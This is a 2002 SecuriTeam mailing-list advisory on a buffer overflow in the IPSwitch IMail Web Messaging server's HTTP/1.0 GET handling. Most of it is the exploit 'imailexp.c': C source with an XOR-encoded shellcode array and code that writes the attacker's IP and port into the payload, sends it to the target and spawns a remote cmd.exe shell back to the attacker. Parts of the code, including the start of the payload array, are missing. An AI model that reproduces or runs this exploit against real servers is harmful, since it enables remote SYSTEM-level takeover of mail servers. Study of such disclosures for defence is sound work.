

[EXPL] IPSwitch IMail Multiple Security Vulnerabilities (GET, HTTP/1.0)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0120.html>

From: support@securiteam.com

Date: 07/26/02

From: support@securiteam.com

To: list@securiteam.com

Date: Fri, 26 Jul 2002 19:35:41 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> - Know that you're safe.

IPSwitch IMail Multiple Security Vulnerabilities (GET, HTTP/1.0)

SUMMARY

Due to improper bounds checking of IPSwitch's IMail web server, a buffer overflow occurs when a lengthy GET request is sent to the server with an HTTP protocol specification "older" than 1.0.

DETAILS

There is an overflow present in the GET parameter under the HTTP/1.0 specification in the Web Messaging daemon in all IMail versions to date. HTTP/0.9 and HTTP/1.1 are not vulnerable, as they have been fixed in a previous bug report.

Exploit:

/*

imailexp.c

July 25th, 2002

IPSwitch IMail 7.11 remote 'SYSTEM' exploit

there is an overflow in the GET parameter under the HTTP/1.0 specification in the Web Messaging daemon in all IMail versions

Securiteam: [EXPL] IPSwitch IMail Multiple Security Vulnerabilities (GET, HTTP/1.0)

```
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xfb\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\xc9\x1d\xdc\x95\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\xd"
"\x0a\x0d\x0a";
```

```
main(char argc, char **argv){
unsigned long ah;
unsigned short int ap;
    int fd, i;
    int bufsize = 1024;
    int *buffer = (int *)malloc(bufsize);
    struct sockaddr_in sin;
    struct hostent *he;
    struct in_addr in;

printf("IMail 7.11 remote exploit (SYSTEM level)\n");
printf("2c79cbe14ac7d0b8472d3f129fa1df55
(c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n");

    if (argc < 5){
        printf("usage: %s <targethost> <iwebport> <localhost>
<localhost>\n\n", argv[0]);
        printf("iwebport: IMail Web Messaging port (default
8383)\n\n");
        exit(-1);
    }

    ap = htons(atoi(argv[4]));
    ap ^= 0x9595;

    if ((he = gethostbyname(argv[3])) == 0){herror(argv[2]);exit(-1);}

    ah = *((unsigned long *)he->h_addr);
    ah ^= 0x95959595;

    payload[747] = ((ap) & 0xff);
    payload[748] = ((ap >> 8) & 0xff);

    payload[752] = ((ah) & 0xff);
    payload[753] = ((ah >> 8) & 0xff);
    payload[754] = ((ah >> 16) & 0xff);
    payload[755] = ((ah >> 24) & 0xff);
```

Securiteam: [EXPL] IPSwitch IMail Multiple Security Vulnerabilities (GET, HTTP/1.0)

```
if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket
error");exit(-1);}

if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr,
he->h_length);}
else
if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve
host");exit(-1);}

    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
    sin.sin_port = htons(atoi(argv[2]));

printf("ret: 0x10012490 (IMailsec.dll v.2.6.17.28)\n\n");
printf("connecting...");

if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) <
0){perror("connection error");exit(-1);}

printf("done.\n");

sleep(1);

printf("dumping payload...");
if(write(fd, payload, strlen(payload)) < strlen(payload)){perror("write
error");exit(-1);}
printf("done.\n\n");

printf("cmd.exe spawned to [%s:%s]\n\n", argv[3], argv[4]);

close(fd);

}
```

ADDITIONAL INFORMATION

The information has been provided by
<<mailto:c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com>>
2c79cbe14ac7d0b8472d3f129fa1df.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

Securiteam: [EXPL] IPSwitch IMail Multiple Security Vulnerabilities (GET, HTTP/1.0)

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- *Previous message:* support@securiteam.com: "[NT] Multiple Vulnerabilities in JanaServer"
- *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)